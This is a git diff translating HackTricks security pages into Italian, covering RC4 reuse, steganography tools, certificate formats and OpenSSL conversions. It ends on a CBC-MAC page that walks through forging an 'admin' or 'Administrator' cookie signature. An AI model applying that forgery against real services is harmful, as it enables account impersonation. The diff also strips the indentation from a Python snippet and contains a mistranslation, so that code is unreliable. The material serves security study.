b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md index dc89fa296..dcc8e8eab 100644 --- a/src/crypto-and-stego/rc4-encrypt-and-decrypt.md +++ b/src/crypto-and-stego/rc4-encrypt-and-decrypt.md @@ -1,8 +1,8 @@ {{#include ../banners/hacktricks-training.md}} -If you can somehow encrypt a plaintext using RC4, you can decrypt any content encrypted by that RC4 (using the same password) just using the encryption function. +Se riesci in qualche modo a crittografare un testo in chiaro utilizzando RC4, puoi decrittografare qualsiasi contenuto crittografato da quel RC4 (utilizzando la stessa password) semplicemente usando la funzione di crittografia. -If you can encrypt a known plaintext you can also extract the password. More references can be found in the HTB Kryptos machine: +Se puoi crittografare un testo in chiaro noto, puoi anche estrarre la password. Maggiori riferimenti possono essere trovati nella macchina HTB Kryptos: {% embed url="https://0xrick.github.io/hack-the-box/kryptos/" %} diff --git a/src/crypto-and-stego/stego-tricks.md b/src/crypto-and-stego/stego-tricks.md index 91ed86406..eec47f022 100644 --- a/src/crypto-and-stego/stego-tricks.md +++ b/src/crypto-and-stego/stego-tricks.md @@ -2,50 +2,41 @@ {{#include ../banners/hacktricks-training.md}} -## **Extracting Data from Files** +## **Estrazione di Dati da File** ### **Binwalk** -A tool for searching binary files for embedded hidden files and data. It's installed via `apt` and its source is available on [GitHub](https://github.com/ReFirmLabs/binwalk). - +Uno strumento per cercare file binari per file e dati nascosti incorporati. È installato tramite `apt` e il suo codice sorgente è disponibile su [GitHub](https://github.com/ReFirmLabs/binwalk). ```bash binwalk file # Displays the embedded data binwalk -e file # Extracts the data binwalk --dd ".*" file # Extracts all data ``` - ### **Foremost** -Recovers files based on their headers and footers, useful for png images. Installed via `apt` with its source on [GitHub](https://github.com/korczis/foremost). - +Recupera file basati sui loro header e footer, utile per le immagini png. Installato tramite `apt` con la sua sorgente su [GitHub](https://github.com/korczis/foremost). ```bash foremost -i file # Extracts data ``` - ### **Exiftool** -Helps to view file metadata, available [here](https://www.sno.phy.queensu.ca/~phil/exiftool/). - +Aiuta a visualizzare i metadati dei file, disponibile [qui](https://www.sno.phy.queensu.ca/~phil/exiftool/). ```bash exiftool file # Shows the metadata ``` - ### **Exiv2** -Similar to exiftool, for metadata viewing. Installable via `apt`, source on [GitHub](https://github.com/Exiv2/exiv2), and has an [official website](http://www.exiv2.org/). - +Simile a exiftool, per la visualizzazione dei metadati. Installabile tramite `apt`, sorgente su [GitHub](https://github.com/Exiv2/exiv2), e ha un [sito ufficiale](http://www.exiv2.org/). ```bash exiv2 file # Shows the metadata ``` - ### **File** -Identify the type of file you're dealing with. +Identifica il tipo di file con cui stai lavorando. ### **Strings** -Extracts readable strings from files, using various encoding settings to filter the output. - +Estrae stringhe leggibili dai file, utilizzando varie impostazioni di codifica per filtrare l'output. ```bash strings -n 6 file # Extracts strings with a minimum length of 6 strings -n 6 file | head -n 20 # First 20 strings @@ -57,95 +48,84 @@ strings -e b -n 6 file # 16bit strings (big-endian) strings -e L -n 6 file # 32bit strings (little-endian) strings -e B -n 6 file # 32bit strings (big-endian) ``` +### **Confronto (cmp)** -### **Comparison (cmp)** - -Useful for comparing a modified file with its original version found online. - +Utile per confrontare un file modificato con la sua versione originale trovata online. ```bash cmp original.jpg stego.jpg -b -l ``` +## **Estrazione di Dati Nascosti nel Testo** -## **Extracting Hidden Data in Text** +### **Dati Nascosti negli Spazi** -### **Hidden Data in Spaces** +Caratteri invisibili in spazi apparentemente vuoti possono nascondere informazioni. Per estrarre questi dati, visita [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). -Invisible characters in seemingly empty spaces may hide information. To extract this data, visit [https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder](https://www.irongeek.com/i.php?page=security/unicode-steganography-homoglyph-encoder). +## **Estrazione di Dati dalle Immagini** -## **Extracting Data from Images** - -### **Identifying Image Details with GraphicMagick** - -[GraphicMagick](https://imagemagick.org/script/download.php) serves to determine image file types and identify potential corruption. Execute the command below to inspect an image: +### **Identificazione dei Dettagli dell'Immagine con GraphicMagick** +[GraphicMagick](https://imagemagick.org/script/download.php) serve a determinare i tipi di file immagine e identificare potenziali corruzioni. Esegui il comando qui sotto per ispezionare un'immagine: ```bash ./magick identify -verbose stego.jpg ``` - -To attempt repair on a damaged image, adding a metadata comment might help: - +Per tentare di riparare un'immagine danneggiata, aggiungere un commento ai metadati potrebbe aiutare: ```bash ./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg ``` +### **Steghide per la Crittografia dei Dati** -### **Steghide for Data Concealment** +Steghide facilita la nascita dei dati all'interno di file `JPEG, BMP, WAV e AU`, capace di incorporare ed estrarre dati crittografati. L'installazione è semplice utilizzando `apt`, e il suo [codice sorgente è disponibile su GitHub](https://github.com/StefanoDeVuono/steghide). -Steghide facilitates hiding data within `JPEG, BMP, WAV, and AU` files, capable of embedding and extracting encrypted data. Installation is straightforward using `apt`, and its [source code is available on GitHub](https://github.com/StefanoDeVuono/steghide). +**Comandi:** -**Commands:** +- `steghide info file` rivela se un file contiene dati nascosti. +- `steghide extract -sf file [--passphrase password]` estrae i dati nascosti, la password è facoltativa. -- `steghide info file` reveals if a file contains hidden data. -- `steghide extract -sf file [--passphrase password]` extracts the hidden data, password optional. +Per l'estrazione basata sul web, visita [questo sito web](https://futureboy.us/stegano/decinput.html). -For web-based extraction, visit [this website](https://futureboy.us/stegano/decinput.html). - -**Bruteforce Attack with Stegcracker:** - -- To attempt password cracking on Steghide, use [stegcracker](https://github.com/Paradoxis/StegCracker.git) as follows: +**Attacco di Bruteforce con Stegcracker:** +- Per tentare di decifrare la password su Steghide, utilizza [stegcracker](https://github.com/Paradoxis/StegCracker.git) come segue: ```bash stegcracker [] ``` +### **zsteg per file PNG e BMP** -### **zsteg for PNG and BMP Files** +zsteg si specializza nel rivelare dati nascosti in file PNG e BMP. L'installazione avviene tramite `gem install zsteg`, con il suo [source su GitHub](https://github.com/zed-0xff/zsteg). -zsteg specializes in uncovering hidden data in PNG and BMP files. Installation is done via `gem install zsteg`, with its [source on GitHub](https://github.com/zed-0xff/zsteg). +**Comandi:** -**Commands:** +- `zsteg -a file` applica tutti i metodi di rilevamento su un file. +- `zsteg -E file` specifica un payload per l'estrazione dei dati. -- `zsteg -a file` applies all detection methods on a file. -- `zsteg -E file` specifies a payload for data extraction. +### **StegoVeritas e Stegsolve** -### **StegoVeritas and Stegsolve** +**stegoVeritas** controlla i metadati, esegue trasformazioni delle immagini e applica il brute forcing LSB tra le altre funzionalità. Usa `stegoveritas.py -h` per un elenco completo delle opzioni e `stegoveritas.py stego.jpg` per eseguire tutti i controlli. -**stegoVeritas** checks metadata, performs image transformations, and applies LSB brute forcing among other features. Use `stegoveritas.py -h` for a full list of options and `stegoveritas.py stego.jpg` to execute all checks. +**Stegsolve** applica vari filtri di colore per rivelare testi o messaggi nascosti all'interno delle immagini. È disponibile su [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). -**Stegsolve** applies various color filters to reveal hidden texts or messages within images. It's available on [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve). +### **FFT per la rilevazione di contenuti nascosti** -### **FFT for Hidden Content Detection** - -Fast Fourier Transform (FFT) techniques can unveil concealed content in images. Useful resources include: +Le tecniche di Fast Fourier Transform (FFT) possono svelare contenuti nascosti nelle immagini. Risorse utili includono: - [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/) - [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/) -- [FFTStegPic on GitHub](https://github.com/0xcomposure/FFTStegPic) +- [FFTStegPic su GitHub](https://github.com/0xcomposure/FFTStegPic) -### **Stegpy for Audio and Image Files** +### **Stegpy per file audio e immagini** -Stegpy allows embedding information into image and audio files, supporting formats like PNG, BMP, GIF, WebP, and WAV. It's available on [GitHub](https://github.com/dhsdshdhk/stegpy). +Stegpy consente di incorporare informazioni in file immagine e audio, supportando formati come PNG, BMP, GIF, WebP e WAV. È disponibile su [GitHub](https://github.com/dhsdshdhk/stegpy). -### **Pngcheck for PNG File Analysis** - -To analyze PNG files or to validate their authenticity, use: +### **Pngcheck per l'analisi dei file PNG** +Per analizzare file PNG o per convalidarne l'autenticità, usa: ```bash apt-get install pngcheck pngcheck stego.png ``` +### **Strumenti Aggiuntivi per l'Analisi delle Immagini** -### **Additional Tools for Image Analysis** - -For further exploration, consider visiting: +Per ulteriori esplorazioni, considera di visitare: - [Magic Eye Solver](http://magiceye.ecksdee.co.uk/) - [Image Error Level Analysis](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/) @@ -153,66 +133,60 @@ For further exploration, consider visiting: - [OpenStego](https://www.openstego.com/) - [DIIT](https://diit.sourceforge.net/) -## **Extracting Data from Audios** +## **Estrazione di Dati dagli Audio** -**Audio steganography** offers a unique method to conceal information within sound files. Different tools are utilized for embedding or retrieving hidden content. +**Audio steganography** offre un metodo unico per nascondere informazioni all'interno di file audio. Vengono utilizzati diversi strumenti per incorporare o recuperare contenuti nascosti. ### **Steghide (JPEG, BMP, WAV, AU)** -Steghide is a versatile tool designed for hiding data in JPEG, BMP, WAV, and AU files. Detailed instructions are provided in the [stego tricks documentation](stego-tricks.md#steghide). +Steghide è uno strumento versatile progettato per nascondere dati in file JPEG, BMP, WAV e AU. I dettagli sono forniti nella [documentazione sui trucchi stego](stego-tricks.md#steghide). ### **Stegpy (PNG, BMP, GIF, WebP, WAV)** -This tool is compatible with a variety of formats including PNG, BMP, GIF, WebP, and WAV. For more information, refer to [Stegpy's section](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). +Questo strumento è compatibile con una varietà di formati tra cui PNG, BMP, GIF, WebP e WAV. Per ulteriori informazioni, fai riferimento alla [sezione di Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav). ### **ffmpeg** -ffmpeg is crucial for assessing the integrity of audio files, highlighting detailed information and pinpointing any discrepancies. - +ffmpeg è cruciale per valutare l'integrità dei file audio, evidenziando informazioni dettagliate e individuando eventuali discrepanze. ```bash ffmpeg -v info -i stego.mp3 -f null - ``` - ### **WavSteg (WAV)** -WavSteg excels in concealing and extracting data within WAV files using the least significant bit strategy. It is accessible on [GitHub](https://github.com/ragibson/Steganography#WavSteg). Commands include: - +WavSteg eccelle nel nascondere ed estrarre dati all'interno di file WAV utilizzando la strategia del bit meno significativo. È accessibile su [GitHub](https://github.com/ragibson/Steganography#WavSteg). I comandi includono: ```bash python3 WavSteg.py -r -b 1 -s soundfile -o outputfile python3 WavSteg.py -r -b 2 -s soundfile -o outputfile ``` - ### **Deepsound** -Deepsound allows for the encryption and detection of information within sound files using AES-256. It can be downloaded from [the official page](http://jpinsoft.net/deepsound/download.aspx). +Deepsound consente la crittografia e la rilevazione di informazioni all'interno di file audio utilizzando AES-256. Può essere scaricato dalla [pagina ufficiale](http://jpinsoft.net/deepsound/download.aspx). ### **Sonic Visualizer** -An invaluable tool for visual and analytical inspection of audio files, Sonic Visualizer can unveil hidden elements undetectable by other means. Visit the [official website](https://www.sonicvisualiser.org/) for more. +Uno strumento prezioso per l'ispezione visiva e analitica dei file audio, Sonic Visualizer può rivelare elementi nascosti non rilevabili con altri mezzi. Visita il [sito ufficiale](https://www.sonicvisualiser.org/) per ulteriori informazioni. ### **DTMF Tones - Dial Tones** -Detecting DTMF tones in audio files can be achieved through online tools such as [this DTMF detector](https://unframework.github.io/dtmf-detect/) and [DialABC](http://dialabc.com/sound/detect/index.html). +La rilevazione dei toni DTMF nei file audio può essere effettuata tramite strumenti online come [questo rilevatore DTMF](https://unframework.github.io/dtmf-detect/) e [DialABC](http://dialabc.com/sound/detect/index.html). ## **Other Techniques** ### **Binary Length SQRT - QR Code** -Binary data that squares to a whole number might represent a QR code. Use this snippet to check: - +I dati binari che si elevano al quadrato per diventare un numero intero potrebbero rappresentare un codice QR. Usa questo frammento per controllare: ```python import math math.sqrt(2500) #50 ``` +Per la conversione da binario a immagine, controlla [dcode](https://www.dcode.fr/binary-image). Per leggere i codici QR, usa [questo lettore di codici a barre online](https://online-barcode-reader.inliteresearch.com/). -For binary to image conversion, check [dcode](https://www.dcode.fr/binary-image). To read QR codes, use [this online barcode reader](https://online-barcode-reader.inliteresearch.com/). +### **Traduzione in Braille** -### **Braille Translation** +Per tradurre il Braille, il [Branah Braille Translator](https://www.branah.com/braille-translator) è un'ottima risorsa. -For translating Braille, the [Branah Braille Translator](https://www.branah.com/braille-translator) is an excellent resource. - -## **References** +## **Riferimenti** - [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/) - [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit) diff --git a/src/cryptography/certificates.md b/src/cryptography/certificates.md index 622b48c61..a948a35fb 100644 --- a/src/cryptography/certificates.md +++ b/src/cryptography/certificates.md @@ -1,47 +1,38 @@ -# Certificates +# Certificati {{#include ../banners/hacktricks-training.md}} -
+## Cos'è un Certificato -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Un **certificato di chiave pubblica** è un ID digitale utilizzato nella crittografia per dimostrare che qualcuno possiede una chiave pubblica. Include i dettagli della chiave, l'identità del proprietario (il soggetto) e una firma digitale da un'autorità fidata (l'emittente). Se il software si fida dell'emittente e la firma è valida, è possibile una comunicazione sicura con il proprietario della chiave. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +I certificati sono principalmente emessi da [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in un [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI). Un altro metodo è il [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), dove gli utenti verificano direttamente le chiavi degli altri. Il formato comune per i certificati è [X.509](https://en.wikipedia.org/wiki/X.509), che può essere adattato per esigenze specifiche come delineato in RFC 5280. -## What is a Certificate +## Campi Comuni x509 -A **public key certificate** is a digital ID used in cryptography to prove someone owns a public key. It includes the key's details, the owner's identity (the subject), and a digital signature from a trusted authority (the issuer). If the software trusts the issuer and the signature is valid, secure communication with the key's owner is possible. +### **Campi Comuni nei Certificati x509** -Certificates are mostly issued by [certificate authorities](https://en.wikipedia.org/wiki/Certificate_authority) (CAs) in a [public-key infrastructure](https://en.wikipedia.org/wiki/Public-key_infrastructure) (PKI) setup. Another method is the [web of trust](https://en.wikipedia.org/wiki/Web_of_trust), where users directly verify each other’s keys. The common format for certificates is [X.509](https://en.wikipedia.org/wiki/X.509), which can be adapted for specific needs as outlined in RFC 5280. +Nei certificati x509, diversi **campi** svolgono ruoli critici nel garantire la validità e la sicurezza del certificato. Ecco una suddivisione di questi campi: -## x509 Common Fields +- **Numero di Versione** indica la versione del formato x509. +- **Numero di Serie** identifica univocamente il certificato all'interno del sistema di un'Autorità di Certificazione (CA), principalmente per il tracciamento delle revoche. +- Il campo **Soggetto** rappresenta il proprietario del certificato, che potrebbe essere una macchina, un individuo o un'organizzazione. Include identificazione dettagliata come: +- **Nome Comune (CN)**: Domini coperti dal certificato. +- **Paese (C)**, **Località (L)**, **Stato o Provincia (ST, S, o P)**, **Organizzazione (O)** e **Unità Organizzativa (OU)** forniscono dettagli geografici e organizzativi. +- **Nome Distinto (DN)** racchiude l'intera identificazione del soggetto. +- **Emittente** dettaglia chi ha verificato e firmato il certificato, includendo sottocampi simili a quelli del Soggetto per la CA. +- Il **Periodo di Validità** è contrassegnato dai timestamp **Non Prima** e **Non Dopo**, assicurando che il certificato non venga utilizzato prima o dopo una certa data. +- La sezione **Chiave Pubblica**, cruciale per la sicurezza del certificato, specifica l'algoritmo, la dimensione e altri dettagli tecnici della chiave pubblica. +- Le **estensioni x509v3** migliorano la funzionalità del certificato, specificando **Utilizzo della Chiave**, **Utilizzo Esteso della Chiave**, **Nome Alternativo del Soggetto** e altre proprietà per affinare l'applicazione del certificato. -### **Common Fields in x509 Certificates** - -In x509 certificates, several **fields** play critical roles in ensuring the certificate's validity and security. Here's a breakdown of these fields: - -- **Version Number** signifies the x509 format's version. -- **Serial Number** uniquely identifies the certificate within a Certificate Authority's (CA) system, mainly for revocation tracking. -- The **Subject** field represents the certificate's owner, which could be a machine, an individual, or an organization. It includes detailed identification such as: - - **Common Name (CN)**: Domains covered by the certificate. - - **Country (C)**, **Locality (L)**, **State or Province (ST, S, or P)**, **Organization (O)**, and **Organizational Unit (OU)** provide geographical and organizational details. - - **Distinguished Name (DN)** encapsulates the full subject identification. -- **Issuer** details who verified and signed the certificate, including similar subfields as the Subject for the CA. -- **Validity Period** is marked by **Not Before** and **Not After** timestamps, ensuring the certificate is not used before or after a certain date. -- The **Public Key** section, crucial for the certificate's security, specifies the algorithm, size, and other technical details of the public key. -- **x509v3 extensions** enhance the certificate's functionality, specifying **Key Usage**, **Extended Key Usage**, **Subject Alternative Name**, and other properties to fine-tune the certificate's application. - -#### **Key Usage and Extensions** - -- **Key Usage** identifies cryptographic applications of the public key, like digital signature or key encipherment. -- **Extended Key Usage** further narrows down the certificate's use cases, e.g., for TLS server authentication. -- **Subject Alternative Name** and **Basic Constraint** define additional host names covered by the certificate and whether it's a CA or end-entity certificate, respectively. -- Identifiers like **Subject Key Identifier** and **Authority Key Identifier** ensure uniqueness and traceability of keys. -- **Authority Information Access** and **CRL Distribution Points** provide paths to verify the issuing CA and check certificate revocation status. -- **CT Precertificate SCTs** offer transparency logs, crucial for public trust in the certificate. +#### **Utilizzo della Chiave e Estensioni** +- **Utilizzo della Chiave** identifica le applicazioni crittografiche della chiave pubblica, come la firma digitale o la cifratura della chiave. +- **Utilizzo Esteso della Chiave** restringe ulteriormente i casi d'uso del certificato, ad esempio, per l'autenticazione del server TLS. +- **Nome Alternativo del Soggetto** e **Vincolo di Base** definiscono nomi host aggiuntivi coperti dal certificato e se si tratta di un certificato CA o di entità finali, rispettivamente. +- Identificatori come **Identificatore della Chiave del Soggetto** e **Identificatore della Chiave dell'Autorità** garantiscono l'unicità e la tracciabilità delle chiavi. +- **Accesso alle Informazioni dell'Autorità** e **Punti di Distribuzione CRL** forniscono percorsi per verificare la CA emittente e controllare lo stato di revoca del certificato. +- **SCTs Precertificate CT** offrono registri di trasparenza, cruciali per la fiducia pubblica nel certificato. ```python # Example of accessing and using x509 certificate fields programmatically: from cryptography import x509 @@ -49,8 +40,8 @@ from cryptography.hazmat.backends import default_backend # Load an x509 certificate (assuming cert.pem is a certificate file) with open("cert.pem", "rb") as file: - cert_data = file.read() - certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) +cert_data = file.read() +certificate = x509.load_pem_x509_certificate(cert_data, default_backend()) # Accessing fields serial_number = certificate.serial_number @@ -63,133 +54,104 @@ print(f"Issuer: {issuer}") print(f"Subject: {subject}") print(f"Public Key: {public_key}") ``` +### **Differenza tra OCSP e Punti di Distribuzione CRL** -### **Difference between OCSP and CRL Distribution Points** +**OCSP** (**RFC 2560**) coinvolge un client e un risponditore che lavorano insieme per controllare se un certificato pubblico digitale è stato revocato, senza la necessità di scaricare l'intera **CRL**. Questo metodo è più efficiente rispetto alla tradizionale **CRL**, che fornisce un elenco di numeri di serie di certificati revocati ma richiede il download di un file potenzialmente grande. Le CRL possono includere fino a 512 voci. Maggiori dettagli sono disponibili [qui](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). -**OCSP** (**RFC 2560**) involves a client and a responder working together to check if a digital public-key certificate has been revoked, without needing to download the full **CRL**. This method is more efficient than the traditional **CRL**, which provides a list of revoked certificate serial numbers but requires downloading a potentially large file. CRLs can include up to 512 entries. More details are available [here](https://www.arubanetworks.com/techdocs/ArubaOS%206_3_1_Web_Help/Content/ArubaFrameStyles/CertRevocation/About_OCSP_and_CRL.htm). +### **Cos'è la Trasparenza dei Certificati** -### **What is Certificate Transparency** +La Trasparenza dei Certificati aiuta a combattere le minacce legate ai certificati garantendo che l'emissione e l'esistenza dei certificati SSL siano visibili ai proprietari di domini, CA e utenti. I suoi obiettivi sono: -Certificate Transparency helps combat certificate-related threats by ensuring the issuance and existence of SSL certificates are visible to domain owners, CAs, and users. Its objectives are: +- Prevenire che le CA emettano certificati SSL per un dominio senza la conoscenza del proprietario del dominio. +- Stabilire un sistema di auditing aperto per tracciare certificati emessi erroneamente o in modo malevolo. +- Proteggere gli utenti da certificati fraudolenti. -- Preventing CAs from issuing SSL certificates for a domain without the domain owner's knowledge. -- Establishing an open auditing system for tracking mistakenly or maliciously issued certificates. -- Safeguarding users against fraudulent certificates. +#### **Log dei Certificati** -#### **Certificate Logs** - -Certificate logs are publicly auditable, append-only records of certificates, maintained by network services. These logs provide cryptographic proofs for auditing purposes. Both issuance authorities and the public can submit certificates to these logs or query them for verification. While the exact number of log servers is not fixed, it's expected to be less than a thousand globally. These servers can be independently managed by CAs, ISPs, or any interested entity. +I log dei certificati sono registri pubblicamente auditabili, solo in append, di certificati, mantenuti dai servizi di rete. Questi log forniscono prove crittografiche per scopi di auditing. Sia le autorità di emissione che il pubblico possono inviare certificati a questi log o interrogarli per verifica. Sebbene il numero esatto di server di log non sia fisso, si prevede che sia inferiore a mille a livello globale. Questi server possono essere gestiti in modo indipendente da CA, ISP o qualsiasi entità interessata. #### **Query** -To explore Certificate Transparency logs for any domain, visit [https://crt.sh/](https://crt.sh). +Per esplorare i log della Trasparenza dei Certificati per qualsiasi dominio, visita [https://crt.sh/](https://crt.sh). -Different formats exist for storing certificates, each with its own use cases and compatibility. This summary covers the main formats and provides guidance on converting between them. +Esistono diversi formati per memorizzare i certificati, ognuno con i propri casi d'uso e compatibilità. Questo riepilogo copre i formati principali e fornisce indicazioni sulla conversione tra di essi. -## **Formats** +## **Formati** -### **PEM Format** +### **Formato PEM** -- Most widely used format for certificates. -- Requires separate files for certificates and private keys, encoded in Base64 ASCII. -- Common extensions: .cer, .crt, .pem, .key. -- Primarily used by Apache and similar servers. +- Formato più ampiamente utilizzato per i certificati. +- Richiede file separati per certificati e chiavi private, codificati in Base64 ASCII. +- Estensioni comuni: .cer, .crt, .pem, .key. +- Utilizzato principalmente da Apache e server simili. -### **DER Format** +### **Formato DER** -- A binary format of certificates. -- Lacks the "BEGIN/END CERTIFICATE" statements found in PEM files. -- Common extensions: .cer, .der. -- Often used with Java platforms. +- Un formato binario di certificati. +- Mancano le dichiarazioni "BEGIN/END CERTIFICATE" presenti nei file PEM. +- Estensioni comuni: .cer, .der. +- Spesso utilizzato con piattaforme Java. -### **P7B/PKCS#7 Format** +### **Formato P7B/PKCS#7** -- Stored in Base64 ASCII, with extensions .p7b or .p7c. -- Contains only certificates and chain certificates, excluding the private key. -- Supported by Microsoft Windows and Java Tomcat. +- Memorizzato in Base64 ASCII, con estensioni .p7b o .p7c. +- Contiene solo certificati e certificati di catena, escludendo la chiave privata. +- Supportato da Microsoft Windows e Java Tomcat. -### **PFX/P12/PKCS#12 Format** +### **Formato PFX/P12/PKCS#12** -- A binary format that encapsulates server certificates, intermediate certificates, and private keys in one file. -- Extensions: .pfx, .p12. -- Mainly used on Windows for certificate import and export. +- Un formato binario che racchiude certificati server, certificati intermedi e chiavi private in un unico file. +- Estensioni: .pfx, .p12. +- Utilizzato principalmente su Windows per l'importazione e l'esportazione di certificati. -### **Converting Formats** +### **Conversione dei Formati** -**PEM conversions** are essential for compatibility: - -- **x509 to PEM** +**Le conversioni PEM** sono essenziali per la compatibilità: +- **x509 a PEM** ```bash openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem ``` - -- **PEM to DER** - +- **PEM a DER** ```bash openssl x509 -outform der -in certificatename.pem -out certificatename.der ``` - -- **DER to PEM** - +- **DER a PEM** ```bash openssl x509 -inform der -in certificatename.der -out certificatename.pem ``` - -- **PEM to P7B** - +- **PEM a P7B** ```bash openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer ``` - -- **PKCS7 to PEM** - +- **PKCS7 a PEM** ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem ``` +**Le conversioni PFX** sono fondamentali per la gestione dei certificati su Windows: -**PFX conversions** are crucial for managing certificates on Windows: - -- **PFX to PEM** - +- **PFX a PEM** ```bash openssl pkcs12 -in certificatename.pfx -out certificatename.pem ``` - -- **PFX to PKCS#8** involves two steps: - 1. Convert PFX to PEM - +- **PFX a PKCS#8** comporta due passaggi: +1. Convertire PFX in PEM ```bash openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem ``` - -2. Convert PEM to PKCS8 - +2. Convertire PEM in PKCS8 ```bash openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 ``` - -- **P7B to PFX** also requires two commands: - 1. Convert P7B to CER - +- **P7B a PFX** richiede anche due comandi: +1. Convertire P7B in CER ```bash openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer ``` - -2. Convert CER and Private Key to PFX - +2. Convertire CER e chiave privata in PFX ```bash openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer ``` - ---- - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +--- {{#include ../banners/hacktricks-training.md}} diff --git a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md index 47f1b2713..f5dfcbaee 100644 --- a/src/cryptography/cipher-block-chaining-cbc-mac-priv.md +++ b/src/cryptography/cipher-block-chaining-cbc-mac-priv.md @@ -2,54 +2,54 @@ # CBC -If the **cookie** is **only** the **username** (or the first part of the cookie is the username) and you want to impersonate the username "**admin**". Then, you can create the username **"bdmin"** and **bruteforce** the **first byte** of the cookie. +Se il **cookie** è **solo** il **nome utente** (o la prima parte del cookie è il nome utente) e vuoi impersonare il nome utente "**admin**". Allora, puoi creare il nome utente **"bdmin"** e **bruteforce** il **primo byte** del cookie. # CBC-MAC -**Cipher block chaining message authentication code** (**CBC-MAC**) is a method used in cryptography. It works by taking a message and encrypting it block by block, where each block's encryption is linked to the one before it. This process creates a **chain of blocks**, making sure that changing even a single bit of the original message will lead to an unpredictable change in the last block of encrypted data. To make or reverse such a change, the encryption key is required, ensuring security. +**Cipher block chaining message authentication code** (**CBC-MAC**) è un metodo utilizzato nella crittografia. Funziona prendendo un messaggio e crittografandolo blocco per blocco, dove la crittografia di ogni blocco è collegata a quella precedente. Questo processo crea una **catena di blocchi**, assicurando che cambiare anche un solo bit del messaggio originale porterà a un cambiamento imprevedibile nell'ultimo blocco di dati crittografati. Per effettuare o invertire tale cambiamento, è necessaria la chiave di crittografia, garantendo la sicurezza. -To calculate the CBC-MAC of message m, one encrypts m in CBC mode with zero initialization vector and keeps the last block. The following figure sketches the computation of the CBC-MAC of a message comprising blocks![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) using a secret key k and a block cipher E: +Per calcolare il CBC-MAC del messaggio m, si crittografa m in modalità CBC con un vettore di inizializzazione zero e si conserva l'ultimo blocco. La figura seguente schizza il calcolo del CBC-MAC di un messaggio composto da blocchi![https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) utilizzando una chiave segreta k e un cifrario a blocchi E: ![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC_structure_(en).svg/570px-CBC-MAC_structure_(en).svg.png]() -# Vulnerability +# Vulnerabilità -With CBC-MAC usually the **IV used is 0**.\ -This is a problem because 2 known messages (`m1` and `m2`) independently will generate 2 signatures (`s1` and `s2`). So: +Con CBC-MAC di solito il **IV utilizzato è 0**.\ +Questo è un problema perché 2 messaggi noti (`m1` e `m2`) genereranno indipendentemente 2 firme (`s1` e `s2`). Quindi: - `E(m1 XOR 0) = s1` - `E(m2 XOR 0) = s2` -Then a message composed by m1 and m2 concatenated (m3) will generate 2 signatures (s31 and s32): +Poi un messaggio composto da m1 e m2 concatenati (m3) genererà 2 firme (s31 e s32): - `E(m1 XOR 0) = s31 = s1` - `E(m2 XOR s1) = s32` -**Which is possible to calculate without knowing the key of the encryption.** +**Il che è possibile calcolare senza conoscere la chiave della crittografia.** -Imagine you are encrypting the name **Administrator** in **8bytes** blocks: +Immagina di crittografare il nome **Administrator** in blocchi di **8byte**: - `Administ` - `rator\00\00\00` -You can create a username called **Administ** (m1) and retrieve the signature (s1).\ -Then, you can create a username called the result of `rator\00\00\00 XOR s1`. This will generate `E(m2 XOR s1 XOR 0)` which is s32.\ -now, you can use s32 as the signature of the full name **Administrator**. +Puoi creare un nome utente chiamato **Administ** (m1) e recuperare la firma (s1).\ +Poi, puoi creare un nome utente chiamato il risultato di `rator\00\00\00 XOR s1`. Questo genererà `E(m2 XOR s1 XOR 0)` che è s32.\ +Ora, puoi usare s32 come la firma del nome completo **Administrator**. -### Summary +### Riepilogo -1. Get the signature of username **Administ** (m1) which is s1 -2. Get the signature of username **rator\x00\x00\x00 XOR s1 XOR 0** is s32**.** -3. Set the cookie to s32 and it will be a valid cookie for the user **Administrator**. +1. Ottieni 